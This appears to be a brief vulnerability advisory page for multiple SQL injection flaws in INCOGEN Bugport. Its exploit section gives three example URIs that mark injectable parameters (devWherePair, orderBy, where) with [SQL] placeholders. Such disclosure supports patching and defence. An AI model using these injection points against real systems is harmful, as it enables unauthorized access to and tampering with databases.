• info
• discussion
• exploit
• solution
• references

INCOGEN Bugport Multiple SQL Injection Vulnerabilities

An exploit is not required.

Example URI have been provided:

http://www.example.com/index.php?view=DevelopmentItemResultsView&devWherePair
%5B0%5D=state_id+%3C+%3F++AND++MATCH+%28report%2Csubject%2Cdevelplan%2Cfixednotes%2Crepsteps%29+AGAINST+%28%3F++IN+BOOLEAN+MODE%29&devWherePair%5B1%5D%5B0%5D=[SQL]

http://www.example.com/index.php?view=DevelopmentItemResultsView&where=project
_id+%3D+%3F&orderBy=[SQL]

http://www.example.com/index.php?view=DevelopmentItemResultsView&where=[SQL]